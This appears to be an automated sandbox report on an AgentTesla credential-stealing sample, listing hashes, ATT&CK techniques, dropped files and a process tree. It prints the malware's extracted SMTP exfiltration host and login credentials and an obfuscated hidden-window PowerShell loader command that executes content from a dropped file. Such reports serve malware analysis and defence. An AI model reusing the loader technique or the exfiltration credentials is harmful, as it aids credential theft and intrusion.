agenttesla | a040ff5358e881adf59b8446ebdbb987a486c4fe90e2f1d64a5b9abadd550fd9

General

Target

a040ff5358e881adf59b8446ebdbb987a486c4fe90e2f1d64a5b9abadd550fd9.exe
Size

593KB
MD5

ca61c16bb94540662facaa6cf7f317f8
SHA1

6fd5af916972136da2bcefb6188d1c11c905ed41
SHA256

a040ff5358e881adf59b8446ebdbb987a486c4fe90e2f1d64a5b9abadd550fd9
SHA512

a41ebbe793b3d234921656b6ef3df75e500bb115ce3788e1bb4bc57ebda2de0dcbcdea24b51b53d8343e3b60977d2a57c577aef03613694d2c0a7346bac6eb5f
SSDEEP

12288:1oGrkCEw+Is4l8O3d5Gu8y5pSqgsZsFKSB82MiEhB:1oGI3w1l8Ot5Gvy5DKEdB

Score

10^/10

agenttesla credential_access discovery execution keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mmppf.com
Port:
587
Username:
[email protected]
Password:
Riy@Saudi#2030
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
576	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
5	drive.google.com
3	drive.google.com

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Pentose.lnk	a040ff5358e881adf59b8446ebdbb987a486c4fe90e2f1d64a5b9abadd550fd9.exe
File opened for modification	C:\Windows\SysWOW64\playgoers.sep	a040ff5358e881adf59b8446ebdbb987a486c4fe90e2f1d64a5b9abadd550fd9.exe
File created	C:\Windows\SysWOW64\bores.lnk	a040ff5358e881adf59b8446ebdbb987a486c4fe90e2f1d64a5b9abadd550fd9.exe
File opened for modification	C:\Windows\SysWOW64\bores.lnk	a040ff5358e881adf59b8446ebdbb987a486c4fe90e2f1d64a5b9abadd550fd9.exe
File created	C:\Windows\SysWOW64\Pentose.lnk	a040ff5358e881adf59b8446ebdbb987a486c4fe90e2f1d64a5b9abadd550fd9.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2808	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
576	powershell.exe
2808	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 576 set thread context of 2808	576	powershell.exe	34

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Common Files\Vaginismus.ini	a040ff5358e881adf59b8446ebdbb987a486c4fe90e2f1d64a5b9abadd550fd9.exe
File opened for modification	C:\Program Files (x86)\Common Files\nvningedomstol\arbejdskommando.sto	a040ff5358e881adf59b8446ebdbb987a486c4fe90e2f1d64a5b9abadd550fd9.exe
File opened for modification	C:\Program Files (x86)\Common Files\Pygopagus172\matthfus.ala	a040ff5358e881adf59b8446ebdbb987a486c4fe90e2f1d64a5b9abadd550fd9.exe
File opened for modification	C:\Program Files (x86)\Common Files\lnstigningsmnstre\Ccny.sta	a040ff5358e881adf59b8446ebdbb987a486c4fe90e2f1d64a5b9abadd550fd9.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\0409\ejerlst.uns	a040ff5358e881adf59b8446ebdbb987a486c4fe90e2f1d64a5b9abadd550fd9.exe
File opened for modification	C:\Windows\resources\fysiurg\Cheesecutter.ini	a040ff5358e881adf59b8446ebdbb987a486c4fe90e2f1d64a5b9abadd550fd9.exe
File opened for modification	C:\Windows\yer.ini	a040ff5358e881adf59b8446ebdbb987a486c4fe90e2f1d64a5b9abadd550fd9.exe
File opened for modification	C:\Windows\truthlessly\Stablish.ini	a040ff5358e881adf59b8446ebdbb987a486c4fe90e2f1d64a5b9abadd550fd9.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a040ff5358e881adf59b8446ebdbb987a486c4fe90e2f1d64a5b9abadd550fd9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
576	powershell.exe
576	powershell.exe
576	powershell.exe
576	powershell.exe
576	powershell.exe
576	powershell.exe
2808	wab.exe
2808	wab.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
576	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	576	powershell.exe
Token: SeDebugPrivilege	2808	wab.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2808	wab.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2700 wrote to memory of 576	2700	a040ff5358e881adf59b8446ebdbb987a486c4fe90e2f1d64a5b9abadd550fd9.exe	30
PID 2700 wrote to memory of 576	2700	a040ff5358e881adf59b8446ebdbb987a486c4fe90e2f1d64a5b9abadd550fd9.exe	30
PID 2700 wrote to memory of 576	2700	a040ff5358e881adf59b8446ebdbb987a486c4fe90e2f1d64a5b9abadd550fd9.exe	30
PID 2700 wrote to memory of 576	2700	a040ff5358e881adf59b8446ebdbb987a486c4fe90e2f1d64a5b9abadd550fd9.exe	30
PID 576 wrote to memory of 1788	576	powershell.exe	32
PID 576 wrote to memory of 1788	576	powershell.exe	32
PID 576 wrote to memory of 1788	576	powershell.exe	32
PID 576 wrote to memory of 1788	576	powershell.exe	32
PID 576 wrote to memory of 2808	576	powershell.exe	34
PID 576 wrote to memory of 2808	576	powershell.exe	34
PID 576 wrote to memory of 2808	576	powershell.exe	34
PID 576 wrote to memory of 2808	576	powershell.exe	34
PID 576 wrote to memory of 2808	576	powershell.exe	34
PID 576 wrote to memory of 2808	576	powershell.exe	34

C:\Users\Admin\AppData\Local\Temp\a040ff5358e881adf59b8446ebdbb987a486c4fe90e2f1d64a5b9abadd550fd9.exe
"C:\Users\Admin\AppData\Local\Temp\a040ff5358e881adf59b8446ebdbb987a486c4fe90e2f1d64a5b9abadd550fd9.exe"
1⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2700
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Undiaphanousness=Get-Content 'C:\Users\Admin\AppData\Local\Temp\fingerstningerne\flagellulae\Rouilles\Effektiviseret.Dia';$Trafikflyene=$Undiaphanousness.SubString(51750,3);.$Trafikflyene($Undiaphanousness)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:576
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1788
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:2808

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fingerstningerne\flagellulae\Rouilles\Effektiviseret.Dia

Filesize
50KB

MD5
fd91c54cfd0dc5ffb898c8c6f497eb88

SHA1
c4ffcd13c0a7e9bf4811c19d969cdd6adae83926

SHA256
d947ac7f9b2519129e2352c38fef03524c8ea3abfccc968cee8fad3539508cd1

SHA512
7075cd28627540323a1212f677b4a8bff6945960e2ff71d6bcd4f4ea68db625b51017c9841fd1db06f156e327fcdc647391ae7d30af3a4fe60dd3be4083b0616

Download Submit
C:\Users\Admin\AppData\Local\Temp\fingerstningerne\flagellulae\Undoctrinal.Tri83

Filesize
318KB

MD5
33bcb10fedd219077c00de12d43139cd

SHA1
92090f81150635c2142d09cae191d01c7ff79e0a

SHA256
67e412a4be377c5fa0e6d565b0774353e6588f6cd3bbd5774c3d51b0ee20a7a3

SHA512
07a6c983e2973743fc6fb86a89d6b649d05436f4c4e6321218c6122eb99afcb9d41a6a53b27f4d2a962ea1b0d9363e0f6811013d7530d3099063f1630466e16a

Download Submit
C:\Windows\SysWOW64\bores.lnk

Filesize
1KB

MD5
364cf955961bb6ef65ef9a0c55cb2b6d

SHA1
c9eaa40fa7c5a13f48625275c46fc56d1729dddd

SHA256
d868d3e0442ede82e84788663391065460b2605fa71e4b03454bdc35cc7e2c26

SHA512
678731a61614a6ebdfe192f3d87ad398458891afcf295361968862209c70d2486d9e3c3e979b2f4e2948bb51fa08dbe4152c5c681843936290bb74dc133bc02d

Download Submit
C:\Windows\yer.ini

Filesize
38B

MD5
e58f8a2dcf15a626bc785906a24d269a

SHA1
451f8692070432dbd0232c61631cb49874323fd7

SHA256
39b313e3f6e503de2657691e96235891834d12dab42957e62aea1c588c35bc83

SHA512
7c33aec2758c72eb727f156ca5946626409a1b2ad22a980801436acacac1bf05eac231a2a0cc2858d369a54cbfa3cafdbd449ce696bf6c8fcecfb53699a75bd3

Download Submit
memory/576-97-0x0000000073FE0000-0x000000007458B000-memory.dmp

Filesize
5.7MB

Download
memory/576-96-0x0000000073FE0000-0x000000007458B000-memory.dmp

Filesize
5.7MB

Download
memory/576-94-0x0000000073FE0000-0x000000007458B000-memory.dmp

Filesize
5.7MB

Download
memory/576-95-0x0000000073FE0000-0x000000007458B000-memory.dmp

Filesize
5.7MB

Download
memory/576-80-0x0000000073FE1000-0x0000000073FE2000-memory.dmp

Filesize
4KB

Download
memory/576-100-0x00000000066C0000-0x000000000A724000-memory.dmp

Filesize
64.4MB

Download
memory/576-101-0x0000000073FE0000-0x000000007458B000-memory.dmp

Filesize
5.7MB

Download
memory/2808-102-0x0000000000780000-0x00000000017E2000-memory.dmp

Filesize
16.4MB

Download
memory/2808-125-0x0000000000780000-0x00000000017E2000-memory.dmp

Filesize
16.4MB

Download
memory/2808-126-0x0000000000780000-0x00000000007C0000-memory.dmp

Filesize
256KB

Download

Analysis

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